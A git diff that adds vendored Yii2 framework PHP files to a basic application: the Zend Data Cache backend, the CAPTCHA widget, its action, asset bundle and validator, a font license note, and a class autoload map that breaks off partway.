/dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/ZendDataCache.php @@ -0,0 +1,84 @@ + + * @since 2.0 + */ +class ZendDataCache extends Cache +{ + /** + * Retrieves a value from cache with a specified key. + * This is the implementation of the method declared in the parent class. + * @param string $key a unique key identifying the cached value + * @return string|boolean the value stored in cache, false if the value is not in the cache or expired. + */ + protected function getValue($key) + { + $result = zend_shm_cache_fetch($key); + + return $result === null ? false : $result; + } + + /** + * Stores a value identified by a key in cache. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function setValue($key, $value, $duration) + { + return zend_shm_cache_store($key, $value, $duration); + } + + /** + * Stores a value identified by a key into cache if the cache does not contain this key. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function addValue($key, $value, $duration) + { + return zend_shm_cache_fetch($key) === null ? $this->setValue($key, $value, $duration) : false; + } + + /** + * Deletes a value with the specified key from cache + * This is the implementation of the method declared in the parent class. + * @param string $key the key of the value to be deleted + * @return boolean if no error happens during deletion + */ + protected function deleteValue($key) + { + return zend_shm_cache_delete($key); + } + + /** + * Deletes all values from cache. + * This is the implementation of the method declared in the parent class. + * @return boolean whether the flush operation was successful. + */ + protected function flushValues() + { + return zend_shm_cache_clear(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/captcha/Captcha.php b/php/yii2/basic/vendor/yiisoft/yii2/captcha/Captcha.php new file mode 100644 index 00000000..a9aeb390 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/captcha/Captcha.php @@ -0,0 +1,156 @@ + + * @since 2.0 + */ +class Captcha extends InputWidget +{ + /** + * @var string|array the route of the action that generates the CAPTCHA images. + * The action represented by this route must be an action of [[CaptchaAction]]. + * Please refer to [[\yii\helpers\Url::toRoute()]] for acceptable formats. + */ + public $captchaAction = 'site/captcha'; + /** + * @var array HTML attributes to be applied to the CAPTCHA image tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $imageOptions = []; + /** + * @var string the template for arranging the CAPTCHA image tag and the text input tag. + * In this template, the token `{image}` will be replaced with the actual image tag, + * while `{input}` will be replaced with the text input tag. + */ + public $template = '{image} {input}'; + /** + * @var array the HTML attributes for the input tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = ['class' => 'form-control']; + + + /** + * Initializes the widget. + */ + public function init() + { + parent::init(); + + $this->checkRequirements(); + + if (!isset($this->imageOptions['id'])) { + $this->imageOptions['id'] = $this->options['id'] . '-image'; + } + } + + /** + * Renders the widget. + */ + public function run() + { + $this->registerClientScript(); + if ($this->hasModel()) { + $input = Html::activeTextInput($this->model, $this->attribute, $this->options); + } else { + $input = Html::textInput($this->name, $this->value, $this->options); + } + $route = $this->captchaAction; + if (is_array($route)) { + $route['v'] = uniqid(); + } else { + $route = [$route, 'v' => uniqid()]; + } + $image = Html::img($route, $this->imageOptions); + echo strtr($this->template, [ + '{input}' => $input, + '{image}' => $image, + ]); + } + + /** + * Registers the needed JavaScript. + */ + public function registerClientScript() + { + $options = $this->getClientOptions(); + $options = empty($options) ? '' : Json::encode($options); + $id = $this->imageOptions['id']; + $view = $this->getView(); + CaptchaAsset::register($view); + $view->registerJs("jQuery('#$id').yiiCaptcha($options);"); + } + + /** + * Returns the options for the captcha JS widget. + * @return array the options + */ + protected function getClientOptions() + { + $route = $this->captchaAction; + if (is_array($route)) { + $route[CaptchaAction::REFRESH_GET_VAR] = 1; + } else { + $route = [$route, CaptchaAction::REFRESH_GET_VAR => 1]; + } + + $options = [ + 'refreshUrl' => Url::toRoute($route), + 'hashKey' => "yiiCaptcha/{$route[0]}", + ]; + + return $options; + } + + /** + * Checks if there is graphic extension available to generate CAPTCHA images. + * This method will check the existence of ImageMagick and GD extensions. + * @return string the name of the graphic extension, either "imagick" or "gd". + * @throws InvalidConfigException if neither ImageMagick nor GD is installed. + */ + public static function checkRequirements() + { + if (extension_loaded('imagick')) { + $imagick = new \Imagick(); + $imagickFormats = $imagick->queryFormats('PNG'); + if (in_array('PNG', $imagickFormats)) { + return 'imagick'; + } + } + if (extension_loaded('gd')) { + $gdInfo = gd_info(); + if (!empty($gdInfo['FreeType Support'])) { + return 'gd'; + } + } + throw new InvalidConfigException('GD with FreeType or ImageMagick PHP extensions are required.'); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/captcha/CaptchaAction.php b/php/yii2/basic/vendor/yiisoft/yii2/captcha/CaptchaAction.php new file mode 100644 index 00000000..ac9d5e9b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/captcha/CaptchaAction.php @@ -0,0 +1,352 @@ + + * @since 2.0 + */ +class CaptchaAction extends Action +{ + /** + * The name of the GET parameter indicating whether the CAPTCHA image should be regenerated. + */ + const REFRESH_GET_VAR = 'refresh'; + + /** + * @var integer how many times should the same CAPTCHA be displayed. Defaults to 3. + * A value less than or equal to 0 means the test is unlimited (available since version 1.1.2). + */ + public $testLimit = 3; + /** + * @var integer the width of the generated CAPTCHA image. Defaults to 120. + */ + public $width = 120; + /** + * @var integer the height of the generated CAPTCHA image. Defaults to 50. + */ + public $height = 50; + /** + * @var integer padding around the text. Defaults to 2. + */ + public $padding = 2; + /** + * @var integer the background color. For example, 0x55FF00. + * Defaults to 0xFFFFFF, meaning white color. + */ + public $backColor = 0xFFFFFF; + /** + * @var integer the font color. For example, 0x55FF00. Defaults to 0x2040A0 (blue color). + */ + public $foreColor = 0x2040A0; + /** + * @var boolean whether to use transparent background. Defaults to false. + */ + public $transparent = false; + /** + * @var integer the minimum length for randomly generated word. Defaults to 6. + */ + public $minLength = 6; + /** + * @var integer the maximum length for randomly generated word. Defaults to 7. + */ + public $maxLength = 7; + /** + * @var integer the offset between characters. Defaults to -2. You can adjust this property + * in order to decrease or increase the readability of the captcha. + */ + public $offset = -2; + /** + * @var string the TrueType font file. This can be either a file path or path alias. + */ + public $fontFile = '@yii/captcha/SpicyRice.ttf'; + /** + * @var string the fixed verification code. When this property is set, + * [[getVerifyCode()]] will always return the value of this property. + * This is mainly used in automated tests where we want to be able to reproduce + * the same verification code each time we run the tests. + * If not set, it means the verification code will be randomly generated. + */ + public $fixedVerifyCode; + + + /** + * Initializes the action. + * @throws InvalidConfigException if the font file does not exist. + */ + public function init() + { + $this->fontFile = Yii::getAlias($this->fontFile); + if (!is_file($this->fontFile)) { + throw new InvalidConfigException("The font file does not exist: {$this->fontFile}"); + } + } + + /** + * Runs the action. + */ + public function run() + { + if (Yii::$app->request->getQueryParam(self::REFRESH_GET_VAR) !== null) { + // AJAX request for regenerating code + $code = $this->getVerifyCode(true); + + return json_encode([ + 'hash1' => $this->generateValidationHash($code), + 'hash2' => $this->generateValidationHash(strtolower($code)), + // we add a random 'v' parameter so that FireFox can refresh the image + // when src attribute of image tag is changed + 'url' => Url::to([$this->id, 'v' => uniqid()]), + ]); + } else { + $this->setHttpHeaders(); + Yii::$app->response->format = Response::FORMAT_RAW; + return $this->renderImage($this->getVerifyCode()); + } + } + + /** + * Generates a hash code that can be used for client side validation. + * @param string $code the CAPTCHA code + * @return string a hash code generated from the CAPTCHA code + */ + public function generateValidationHash($code) + { + for ($h = 0, $i = strlen($code) - 1; $i >= 0; --$i) { + $h += ord($code[$i]); + } + + return $h; + } + + /** + * Gets the verification code. + * @param boolean $regenerate whether the verification code should be regenerated. + * @return string the verification code. + */ + public function getVerifyCode($regenerate = false) + { + if ($this->fixedVerifyCode !== null) { + return $this->fixedVerifyCode; + } + + $session = Yii::$app->getSession(); + $session->open(); + $name = $this->getSessionKey(); + if ($session[$name] === null || $regenerate) { + $session[$name] = $this->generateVerifyCode(); + $session[$name . 'count'] = 1; + } + + return $session[$name]; + } + + /** + * Validates the input to see if it matches the generated code. + * @param string $input user input + * @param boolean $caseSensitive whether the comparison should be case-sensitive + * @return boolean whether the input is valid + */ + public function validate($input, $caseSensitive) + { + $code = $this->getVerifyCode(); + $valid = $caseSensitive ? ($input === $code) : strcasecmp($input, $code) === 0; + $session = Yii::$app->getSession(); + $session->open(); + $name = $this->getSessionKey() . 'count'; + $session[$name] = $session[$name] + 1; + if ($valid || $session[$name] > $this->testLimit && $this->testLimit > 0) { + $this->getVerifyCode(true); + } + + return $valid; + } + + /** + * Generates a new verification code. + * @return string the generated verification code + */ + protected function generateVerifyCode() + { + if ($this->minLength > $this->maxLength) { + $this->maxLength = $this->minLength; + } + if ($this->minLength < 3) { + $this->minLength = 3; + } + if ($this->maxLength > 20) { + $this->maxLength = 20; + } + $length = mt_rand($this->minLength, $this->maxLength); + + $letters = 'bcdfghjklmnpqrstvwxyz'; + $vowels = 'aeiou'; + $code = ''; + for ($i = 0; $i < $length; ++$i) { + if ($i % 2 && mt_rand(0, 10) > 2 || !($i % 2) && mt_rand(0, 10) > 9) { + $code .= $vowels[mt_rand(0, 4)]; + } else { + $code .= $letters[mt_rand(0, 20)]; + } + } + + return $code; + } + + /** + * Returns the session variable name used to store verification code. + * @return string the session variable name + */ + protected function getSessionKey() + { + return '__captcha/' . $this->getUniqueId(); + } + + /** + * Renders the CAPTCHA image. + * @param string $code the verification code + * @return string image contents + */ + protected function renderImage($code) + { + if (Captcha::checkRequirements() === 'gd') { + return $this->renderImageByGD($code); + } else { + return $this->renderImageByImagick($code); + } + } + + /** + * Renders the CAPTCHA image based on the code using GD library. + * @param string $code the verification code + * @return string image contents in PNG format. + */ + protected function renderImageByGD($code) + { + $image = imagecreatetruecolor($this->width, $this->height); + + $backColor = imagecolorallocate( + $image, + (int) ($this->backColor % 0x1000000 / 0x10000), + (int) ($this->backColor % 0x10000 / 0x100), + $this->backColor % 0x100 + ); + imagefilledrectangle($image, 0, 0, $this->width, $this->height, $backColor); + imagecolordeallocate($image, $backColor); + + if ($this->transparent) { + imagecolortransparent($image, $backColor); + } + + $foreColor = imagecolorallocate( + $image, + (int) ($this->foreColor % 0x1000000 / 0x10000), + (int) ($this->foreColor % 0x10000 / 0x100), + $this->foreColor % 0x100 + ); + + $length = strlen($code); + $box = imagettfbbox(30, 0, $this->fontFile, $code); + $w = $box[4] - $box[0] + $this->offset * ($length - 1); + $h = $box[1] - $box[5]; + $scale = min(($this->width - $this->padding * 2) / $w, ($this->height - $this->padding * 2) / $h); + $x = 10; + $y = round($this->height * 27 / 40); + for ($i = 0; $i < $length; ++$i) { + $fontSize = (int) (rand(26, 32) * $scale * 0.8); + $angle = rand(-10, 10); + $letter = $code[$i]; + $box = imagettftext($image, $fontSize, $angle, $x, $y, $foreColor, $this->fontFile, $letter); + $x = $box[2] + $this->offset; + } + + imagecolordeallocate($image, $foreColor); + + ob_start(); + imagepng($image); + imagedestroy($image); + + return ob_get_clean(); + } + + /** + * Renders the CAPTCHA image based on the code using ImageMagick library. + * @param string $code the verification code + * @return string image contents in PNG format. + */ + protected function renderImageByImagick($code) + { + $backColor = $this->transparent ? new \ImagickPixel('transparent') : new \ImagickPixel('#' . dechex($this->backColor)); + $foreColor = new \ImagickPixel('#' . dechex($this->foreColor)); + + $image = new \Imagick(); + $image->newImage($this->width, $this->height, $backColor); + + $draw = new \ImagickDraw(); + $draw->setFont($this->fontFile); + $draw->setFontSize(30); + $fontMetrics = $image->queryFontMetrics($draw, $code); + + $length = strlen($code); + $w = (int) ($fontMetrics['textWidth']) - 8 + $this->offset * ($length - 1); + $h = (int) ($fontMetrics['textHeight']) - 8; + $scale = min(($this->width - $this->padding * 2) / $w, ($this->height - $this->padding * 2) / $h); + $x = 10; + $y = round($this->height * 27 / 40); + for ($i = 0; $i < $length; ++$i) { + $draw = new \ImagickDraw(); + $draw->setFont($this->fontFile); + $draw->setFontSize((int) (rand(26, 32) * $scale * 0.8)); + $draw->setFillColor($foreColor); + $image->annotateImage($draw, $x, $y, rand(-10, 10), $code[$i]); + $fontMetrics = $image->queryFontMetrics($draw, $code[$i]); + $x += (int) ($fontMetrics['textWidth']) + $this->offset; + } + + $image->setImageFormat('png'); + return $image->getImageBlob(); + } + + /** + * Sets the HTTP headers needed by image response. + */ + protected function setHttpHeaders() + { + Yii::$app->getResponse()->getHeaders() + ->set('Pragma', 'public') + ->set('Expires', '0') + ->set('Cache-Control', 'must-revalidate, post-check=0, pre-check=0') + ->set('Content-Transfer-Encoding', 'binary') + ->set('Content-type', 'image/png'); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/captcha/CaptchaAsset.php b/php/yii2/basic/vendor/yiisoft/yii2/captcha/CaptchaAsset.php new file mode 100644 index 00000000..8af07e17 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/captcha/CaptchaAsset.php @@ -0,0 +1,27 @@ + + * @since 2.0 + */ +class CaptchaAsset extends AssetBundle +{ + public $sourcePath = '@yii/assets'; + public $js = [ + 'yii.captcha.js', + ]; + public $depends = [ + 'yii\web\YiiAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/captcha/CaptchaValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/captcha/CaptchaValidator.php new file mode 100644 index 00000000..7d122b3c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/captcha/CaptchaValidator.php @@ -0,0 +1,108 @@ + + * @since 2.0 + */ +class CaptchaValidator extends Validator +{ + /** + * @var boolean whether to skip this validator if the input is empty. + */ + public $skipOnEmpty = false; + /** + * @var boolean whether the comparison is case sensitive. Defaults to false. + */ + public $caseSensitive = false; + /** + * @var string the route of the controller action that renders the CAPTCHA image. + */ + public $captchaAction = 'site/captcha'; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->message === null) { + $this->message = Yii::t('yii', 'The verification code is incorrect.'); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + $captcha = $this->createCaptchaAction(); + $valid = !is_array($value) && $captcha->validate($value, $this->caseSensitive); + + return $valid ? null : [$this->message, []]; + } + + /** + * Creates the CAPTCHA action object from the route specified by [[captchaAction]]. + * @return \yii\captcha\CaptchaAction the action object + * @throws InvalidConfigException + */ + public function createCaptchaAction() + { + $ca = Yii::$app->createController($this->captchaAction); + if ($ca !== false) { + /* @var $controller \yii\base\Controller */ + list($controller, $actionID) = $ca; + $action = $controller->createAction($actionID); + if ($action !== null) { + return $action; + } + } + throw new InvalidConfigException('Invalid CAPTCHA action ID: ' . $this->captchaAction); + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + $captcha = $this->createCaptchaAction(); + $code = $captcha->getVerifyCode(false); + $hash = $captcha->generateValidationHash($this->caseSensitive ? $code : strtolower($code)); + $options = [ + 'hash' => $hash, + 'hashKey' => 'yiiCaptcha/' . $this->captchaAction, + 'caseSensitive' => $this->caseSensitive, + 'message' => Yii::$app->getI18n()->format($this->message, [ + 'attribute' => $object->getAttributeLabel($attribute), + ], Yii::$app->language), + ]; + if ($this->skipOnEmpty) { + $options['skipOnEmpty'] = 1; + } + + ValidationAsset::register($view); + + return 'yii.validation.captcha(value, messages, ' . json_encode($options) . ');'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/captcha/SpicyRice.md b/php/yii2/basic/vendor/yiisoft/yii2/captcha/SpicyRice.md new file mode 100644 index 00000000..7049bd12 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/captcha/SpicyRice.md @@ -0,0 +1,11 @@ +## Spicy Rice font + +* **Author:** Brian J. Bonislawsky, Astigmatic (AOETI, Astigmatic One Eye Typographic Institute) +* **License:** SIL Open Font License (OFL), version 1.1, [notes and FAQ](http://scripts.sil.org/OFL) + +## Links + +* [Astigmatic](http://www.astigmatic.com/) +* [Google WebFonts](http://www.google.com/webfonts/specimen/Spicy+Rice) +* [fontsquirrel.com](http://www.fontsquirrel.com/fonts/spicy-rice) +* [fontspace.com](http://www.fontspace.com/astigmatic-one-eye-typographic-institute/spicy-rice) diff --git a/php/yii2/basic/vendor/yiisoft/yii2/captcha/SpicyRice.ttf b/php/yii2/basic/vendor/yiisoft/yii2/captcha/SpicyRice.ttf new file mode 100644 index 00000000..638436cd Binary files /dev/null and b/php/yii2/basic/vendor/yiisoft/yii2/captcha/SpicyRice.ttf differ diff --git a/php/yii2/basic/vendor/yiisoft/yii2/classes.php b/php/yii2/basic/vendor/yiisoft/yii2/classes.php new file mode 100644 index 00000000..a30909ba --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/classes.php @@ -0,0 +1,323 @@ + YII2_PATH . '/base/Action.php', + 'yii\base\ActionEvent' => YII2_PATH . '/base/ActionEvent.php', + 'yii\base\ActionFilter' => YII2_PATH . '/base/ActionFilter.php', + 'yii\base\Application' => YII2_PATH . '/base/Application.php', + 'yii\base\ArrayAccessTrait' => YII2_PATH . '/base/ArrayAccessTrait.php', + 'yii\base\Arrayable' => YII2_PATH . '/base/Arrayable.php', + 'yii\base\ArrayableTrait' => YII2_PATH . '/base/ArrayableTrait.php', + 'yii\base\Behavior' => YII2_PATH . '/base/Behavior.php', + 'yii\base\BootstrapInterface' => YII2_PATH . '/base/BootstrapInterface.php', + 'yii\base\Component' => YII2_PATH . '/base/Component.php', + 'yii\base\Controller' => YII2_PATH . '/base/Controller.php', + 'yii\base\DynamicModel' => YII2_PATH . '/base/DynamicModel.php', + 'yii\base\ErrorException' => YII2_PATH . '/base/ErrorException.php', + 'yii\base\ErrorHandler' => YII2_PATH . '/base/ErrorHandler.php', + 'yii\base\Event' => YII2_PATH . '/base/Event.php', + 'yii\base\Exception' => YII2_PATH . '/base/Exception.php', + 'yii\base\ExitException' => YII2_PATH . '/base/ExitException.php', + 'yii\base\InlineAction' => YII2_PATH . '/base/InlineAction.php', + 'yii\base\InvalidCallException' => YII2_PATH . '/base/InvalidCallException.php', + 'yii\base\InvalidConfigException' => YII2_PATH . '/base/InvalidConfigException.php', + 'yii\base\InvalidParamException' => YII2_PATH . '/base/InvalidParamException.php', + 'yii\base\InvalidRouteException' => YII2_PATH . '/base/InvalidRouteException.php', + 'yii\base\InvalidValueException' => YII2_PATH . '/base/InvalidValueException.php', + 'yii\base\Model' => YII2_PATH . '/base/Model.php', + 'yii\base\ModelEvent' => YII2_PATH . '/base/ModelEvent.php', + 'yii\base\Module' => YII2_PATH . '/base/Module.php', + 'yii\base\NotSupportedException' => YII2_PATH . '/base/NotSupportedException.php', + 'yii\base\Object' => YII2_PATH . '/base/Object.php', + 'yii\base\Request' => YII2_PATH . '/base/Request.php', + 'yii\base\Response' => YII2_PATH . '/base/Response.php', + 'yii\base\Security' => YII2_PATH . '/base/Security.php', + 'yii\base\Theme' => YII2_PATH . '/base/Theme.php', + 'yii\base\UnknownClassException' => YII2_PATH . '/base/UnknownClassException.php', + 'yii\base\UnknownMethodException' => YII2_PATH . '/base/UnknownMethodException.php', + 'yii\base\UnknownPropertyException' => YII2_PATH . '/base/UnknownPropertyException.php', + 'yii\base\UserException' => YII2_PATH . '/base/UserException.php', + 'yii\base\View' => YII2_PATH . '/base/View.php', + 'yii\base\ViewContextInterface' => YII2_PATH . '/base/ViewContextInterface.php', + 'yii\base\ViewEvent' => YII2_PATH . '/base/ViewEvent.php', + 'yii\base\ViewRenderer' => YII2_PATH . '/base/ViewRenderer.php', + 'yii\base\Widget' => YII2_PATH . '/base/Widget.php', + 'yii\behaviors\AttributeBehavior' => YII2_PATH . '/behaviors/AttributeBehavior.php', + 'yii\behaviors\BlameableBehavior' => YII2_PATH . '/behaviors/BlameableBehavior.php', + 'yii\behaviors\SluggableBehavior' => YII2_PATH . '/behaviors/SluggableBehavior.php', + 'yii\behaviors\TimestampBehavior' => YII2_PATH . '/behaviors/TimestampBehavior.php', + 'yii\caching\ApcCache' => YII2_PATH . '/caching/ApcCache.php', + 'yii\caching\ArrayCache' => YII2_PATH . '/caching/ArrayCache.php', + 'yii\caching\Cache' => YII2_PATH . '/caching/Cache.php', + 'yii\caching\ChainedDependency' => YII2_PATH . '/caching/ChainedDependency.php', + 'yii\caching\DbCache' => YII2_PATH . '/caching/DbCache.php', + 'yii\caching\DbDependency' => YII2_PATH . '/caching/DbDependency.php', + 'yii\caching\Dependency' => YII2_PATH . '/caching/Dependency.php', + 'yii\caching\DummyCache' => YII2_PATH . '/caching/DummyCache.php', + 'yii\caching\ExpressionDependency' => YII2_PATH . '/caching/ExpressionDependency.php', + 'yii\caching\FileCache' => YII2_PATH . '/caching/FileCache.php', + 'yii\caching\FileDependency' => YII2_PATH . '/caching/FileDependency.php', + 'yii\caching\MemCache' => YII2_PATH . '/caching/MemCache.php', + 'yii\caching\MemCacheServer' => YII2_PATH . '/caching/MemCacheServer.php', + 'yii\caching\TagDependency' => YII2_PATH . '/caching/TagDependency.php', + 'yii\caching\WinCache' => YII2_PATH . '/caching/WinCache.php', + 'yii\caching\XCache' => YII2_PATH . '/caching/XCache.php', + 'yii\caching\ZendDataCache' => YII2_PATH . '/caching/ZendDataCache.php', + 'yii\captcha\Captcha' => YII2_PATH . '/captcha/Captcha.php', + 'yii\captcha\CaptchaAction' => YII2_PATH . '/captcha/CaptchaAction.php', + 'yii\captcha\CaptchaAsset' => YII2_PATH . '/captcha/CaptchaAsset.php', + 'yii\captcha\CaptchaValidator' => YII2_PATH . '/captcha/CaptchaValidator.php', + 'yii\data\ActiveDataProvider' => YII2_PATH . '/data/ActiveDataProvider.php', + 'yii\data\ArrayDataProvider' => YII2_PATH . '/data/ArrayDataProvider.php', + 'yii\data\BaseDataProvider' => YII2_PATH . '/data/BaseDataProvider.php', + 'yii\data\DataProviderInterface' => YII2_PATH . '/data/DataProviderInterface.php', + 'yii\data\Pagination' => YII2_PATH . '/data/Pagination.php', + 'yii\data\Sort' => YII2_PATH . '/data/Sort.php', + 'yii\data\SqlDataProvider' => YII2_PATH . '/data/SqlDataProvider.php', + 'yii\db\ActiveQuery' => YII2_PATH . '/db/ActiveQuery.php', + 'yii\db\ActiveQueryInterface' => YII2_PATH . '/db/ActiveQueryInterface.php', + 'yii\db\ActiveQueryTrait' => YII2_PATH . '/db/ActiveQueryTrait.php', + 'yii\db\ActiveRecord' => YII2_PATH . '/db/ActiveRecord.php', + 'yii\db\ActiveRecordInterface' => YII2_PATH . '/db/ActiveRecordInterface.php', + 'yii\db\ActiveRelationTrait' => YII2_PATH . '/db/ActiveRelationTrait.php', + 'yii\db\AfterSaveEvent' => YII2_PATH . '/db/AfterSaveEvent.php', + 'yii\db\BaseActiveRecord' => YII2_PATH . '/db/BaseActiveRecord.php', + 'yii\db\BatchQueryResult' => YII2_PATH . '/db/BatchQueryResult.php', + 'yii\db\ColumnSchema' => YII2_PATH . '/db/ColumnSchema.php', + 'yii\db\Command' => YII2_PATH . '/db/Command.php', + 'yii\db\Connection' => YII2_PATH . '/db/Connection.php', + 'yii\db\DataReader' => YII2_PATH . '/db/DataReader.php', + 'yii\db\Exception' => YII2_PATH . '/db/Exception.php', + 'yii\db\Expression' => YII2_PATH . '/db/Expression.php', + 'yii\db\IntegrityException' => YII2_PATH . '/db/IntegrityException.php', + 'yii\db\Migration' => YII2_PATH . '/db/Migration.php', + 'yii\db\MigrationInterface' => YII2_PATH . '/db/MigrationInterface.php', + 'yii\db\Query' => YII2_PATH . '/db/Query.php', + 'yii\db\QueryBuilder' => YII2_PATH . '/db/QueryBuilder.php', + 'yii\db\QueryInterface' => YII2_PATH . '/db/QueryInterface.php', + 'yii\db\QueryTrait' => YII2_PATH . '/db/QueryTrait.php', + 'yii\db\Schema' => YII2_PATH . '/db/Schema.php', + 'yii\db\StaleObjectException' => YII2_PATH . '/db/StaleObjectException.php', + 'yii\db\TableSchema' => YII2_PATH . '/db/TableSchema.php', + 'yii\db\Transaction' => YII2_PATH . '/db/Transaction.php', + 'yii\db\cubrid\QueryBuilder' => YII2_PATH . '/db/cubrid/QueryBuilder.php', + 'yii\db\cubrid\Schema' => YII2_PATH . '/db/cubrid/Schema.php', + 'yii\db\mssql\PDO' => YII2_PATH . '/db/mssql/PDO.php', + 'yii\db\mssql\QueryBuilder' => YII2_PATH . '/db/mssql/QueryBuilder.php', + 'yii\db\mssql\Schema' => YII2_PATH . '/db/mssql/Schema.php', + 'yii\db\mssql\SqlsrvPDO' => YII2_PATH . '/db/mssql/SqlsrvPDO.php', + 'yii\db\mssql\TableSchema' => YII2_PATH . '/db/mssql/TableSchema.php', + 'yii\db\mysql\QueryBuilder' => YII2_PATH . '/db/mysql/QueryBuilder.php', + 'yii\db\mysql\Schema' => YII2_PATH . '/db/mysql/Schema.php', + 'yii\db\oci\QueryBuilder' => YII2_PATH . '/db/oci/QueryBuilder.php', + 'yii\db\oci\Schema' => YII2_PATH . '/db/oci/Schema.php', + 'yii\db\pgsql\QueryBuilder' => YII2_PATH . '/db/pgsql/QueryBuilder.php', + 'yii\db\pgsql\Schema' => YII2_PATH . '/db/pgsql/Schema.php', + 'yii\db\sqlite\QueryBuilder' => YII2_PATH . '/db/sqlite/QueryBuilder.php', + 'yii\db\sqlite\Schema' => YII2_PATH . '/db/sqlite/Schema.php', + 'yii\di\Container' => YII2_PATH . '/di/Container.php', + 'yii\di\Instance' => YII2_PATH . '/di/Instance.php', + 'yii\di\ServiceLocator' => YII2_PATH . '/di/ServiceLocator.php', + 'yii\filters\AccessControl' => YII2_PATH . '/filters/AccessControl.php', + 'yii\filters\AccessRule' => YII2_PATH . '/filters/AccessRule.php', + 'yii\filters\ContentNegotiator' => YII2_PATH . '/filters/ContentNegotiator.php', + 'yii\filters\Cors' => YII2_PATH . '/filters/Cors.php', + 'yii\filters\HttpCache' => YII2_PATH . '/filters/HttpCache.php', + 'yii\filters\PageCache' => YII2_PATH . '/filters/PageCache.php', + 'yii\filters\RateLimitInterface' => YII2_PATH . '/filters/RateLimitInterface.php', + 'yii\filters\RateLimiter' => YII2_PATH . '/filters/RateLimiter.php', + 'yii\filters\VerbFilter' => YII2_PATH . '/filters/VerbFilter.php', + 'yii\filters\auth\AuthInterface' => YII2_PATH . '/filters/auth/AuthInterface.php', + 'yii\filters\auth\AuthMethod' => YII2_PATH . '/filters/auth/AuthMethod.php', + 'yii\filters\auth\CompositeAuth' => YII2_PATH . '/filters/auth/CompositeAuth.php', + 'yii\filters\auth\HttpBasicAuth' => YII2_PATH . '/filters/auth/HttpBasicAuth.php', + 'yii\filters\auth\HttpBearerAuth' => YII2_PATH . '/filters/auth/HttpBearerAuth.php', + 'yii\filters\auth\QueryParamAuth' => YII2_PATH . '/filters/auth/QueryParamAuth.php', + 'yii\grid\ActionColumn' => YII2_PATH . '/grid/ActionColumn.php', + 'yii\grid\CheckboxColumn' => YII2_PATH . '/grid/CheckboxColumn.php', + 'yii\grid\Column' => YII2_PATH . '/grid/Column.php', + 'yii\grid\DataColumn' => YII2_PATH . '/grid/DataColumn.php', + 'yii\grid\GridView' => YII2_PATH . '/grid/GridView.php', + 'yii\grid\GridViewAsset' => YII2_PATH . '/grid/GridViewAsset.php', + 'yii\grid\SerialColumn' => YII2_PATH . '/grid/SerialColumn.php', + 'yii\helpers\ArrayHelper' => YII2_PATH . '/helpers/ArrayHelper.php', + 'yii\helpers\BaseArrayHelper' => YII2_PATH . '/helpers/BaseArrayHelper.php', + 'yii\helpers\BaseConsole' => YII2_PATH . '/helpers/BaseConsole.php', + 'yii\helpers\BaseFileHelper' => YII2_PATH . '/helpers/BaseFileHelper.php', + 'yii\helpers\BaseFormatConverter' => YII2_PATH . '/helpers/BaseFormatConverter.php', + 'yii\helpers\BaseHtml' => YII2_PATH . '/helpers/BaseHtml.php', + 'yii\helpers\BaseHtmlPurifier' => YII2_PATH . '/helpers/BaseHtmlPurifier.php', + 'yii\helpers\BaseInflector' => YII2_PATH . '/helpers/BaseInflector.php', + 'yii\helpers\BaseJson' => YII2_PATH . '/helpers/BaseJson.php', + 'yii\helpers\BaseMarkdown' => YII2_PATH . '/helpers/BaseMarkdown.php', + 'yii\helpers\BaseStringHelper' => YII2_PATH . '/helpers/BaseStringHelper.php', + 'yii\helpers\BaseUrl' => YII2_PATH . '/helpers/BaseUrl.php', + 'yii\helpers\BaseVarDumper' => YII2_PATH . '/helpers/BaseVarDumper.php', + 'yii\helpers\Console' => YII2_PATH . '/helpers/Console.php', + 'yii\helpers\FileHelper' => YII2_PATH . '/helpers/FileHelper.php', + 'yii\helpers\FormatConverter' => YII2_PATH . '/helpers/FormatConverter.php', + 'yii\helpers\Html' => YII2_PATH . '/helpers/Html.php', + 'yii\helpers\HtmlPurifier' => YII2_PATH . '/helpers/HtmlPurifier.php', + 'yii\helpers\Inflector' => YII2_PATH . '/helpers/Inflector.php', + 'yii\helpers\Json' => YII2_PATH . '/helpers/Json.php', + 'yii\helpers\Markdown' => YII2_PATH . '/helpers/Markdown.php', + 'yii\helpers\StringHelper' => YII2_PATH . '/helpers/StringHelper.php', + 'yii\helpers\Url' => YII2_PATH . '/helpers/Url.php', + 'yii\helpers\VarDumper' => YII2_PATH . '/helpers/VarDumper.php', + 'yii\i18n\DbMessageSource' => YII2_PATH . '/i18n/DbMessageSource.php', + 'yii\i18n\Formatter' => YII2_PATH . '/i18n/Formatter.php', + 'yii\i18n\GettextFile' => YII2_PATH . '/i18n/GettextFile.php', + 'yii\i18n\GettextMessageSource' => YII2_PATH . '/i18n/GettextMessageSource.php', + 'yii\i18n\GettextMoFile' => YII2_PATH . '/i18n/GettextMoFile.php', + 'yii\i18n\GettextPoFile' => YII2_PATH . '/i18n/GettextPoFile.php', + 'yii\i18n\I18N' => YII2_PATH . 